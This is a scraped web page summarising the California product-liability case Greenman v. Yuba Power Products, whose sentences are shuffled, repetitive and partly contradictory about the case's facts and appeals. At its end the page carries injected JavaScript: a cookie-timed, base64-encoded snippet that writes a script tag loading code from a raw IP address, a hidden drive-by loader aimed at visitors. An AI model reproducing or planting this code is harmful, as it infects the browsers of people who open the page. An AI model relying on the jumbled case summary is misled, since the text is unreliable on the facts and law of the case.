based its ruling on Greenman v. Yuba Power Products, Inc.' In the Greenman case the plaintiff was injured while operat-ing a shopsmith combination power tool, when a piece of wood on which he was working suddenly flew out of the machine and struck him on the head inflicting serious injuries. 17 Supreme Court of California, In Bank. 5 27 Cal.Rptr. Facts Greenman (plaintiff) used a power tool manufactured by Yuba Power Products (Yuba) (defendant) to shape pieces of wood. This verdict was appealed by the manufacturer to the Supreme Court of California which was presided by Gibson, C. J., Schauer, J., McComb, J., Peters, J., Tobriner, J., and Peek, J., and the opinion was delivered by Judge Roger J Traynor. To reach a decision on this issue, he considered the requirements of section 1769. 697, 13 A.L.R.3d 1049 (1963) TRAYNOR, Justice. In a short time, strict liability rules have spread throughout the United States and in 2003 it became the law not only in the US and was established in other countries around the world as After veiwing a demonstration and reading the brochure, Greenman used the lathe tool to create a chalice from a piece of wood. [3] The manufacturer appealed this judgement and the case was taken to the Supreme Court of California. Greenman appealed for the reversal of the judgement that Yuba Powers was not liable and ShopSmith appealed for their judgement to be reversed. [2] Over ten months later, he presented a written notice to the retailer and manufacturer (Yuba Power Products, Inc) for breach of warranties and filed a complaint against both of them for damages on the grounds of breaches of warranties and for negligence. Traynor expressed that to impose strict liability on a manufacturer, it is not necessary for the plaintiff to establish an express warranty as per section 1732 and therefore there is no need for an explicit contract between the manufacturer and the buyer. Plaintiff brought this action for damages against the retailer and the manufacturer of a Shopsmith, a combination power tool that could be used as a saw, drill, and wood lathe. Due to the plaintiff's inability to notify the manufacturer within such a time period, the defence argued that this complaint must be quashed. This case has created several debates regarding law's protection of the consumer over the manufacturer and the difficulty for a defence in product liability cases. Yuba Power Products was a subsidiary of Yuba Consolidated Industries, Inc., which also made some woodworking machinery. Rptr. A manufacturer is strictly liable in tort when an article he places on the market, knowing that it is to be used without inspection for defects, proves to have a defect that causes injury to a human being. To establish a manufacturer's liability in a product liability case, it is sufficient that the plaintiff proves that they were injured while using the product for its intended purpose. [15] It is in response to these issues that legal scholars have published work which detail the scope of warranty breach within product liability cases and the parameters necessary for a warranty breach to amount to strict liability. University. No. [5] To strengthen their argument, the defence brought up section 1769 of the California Code of Civil Procedure, which states that a purchaser of a product must notify the manufacturer of a breach of warranty within a reasonable time period. Greenman v. Yuba Power Products, Inc, was a California torts case in which the Supreme Court of California dealt with the torts regarding product liability and warranty breaches. Consequently, the plaintiff submitted a cause of action for negligence against the manufacturer. View Essay - Greenman v. Yuba.docx from BLAW 371 at University of Nebraska, Lincoln. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('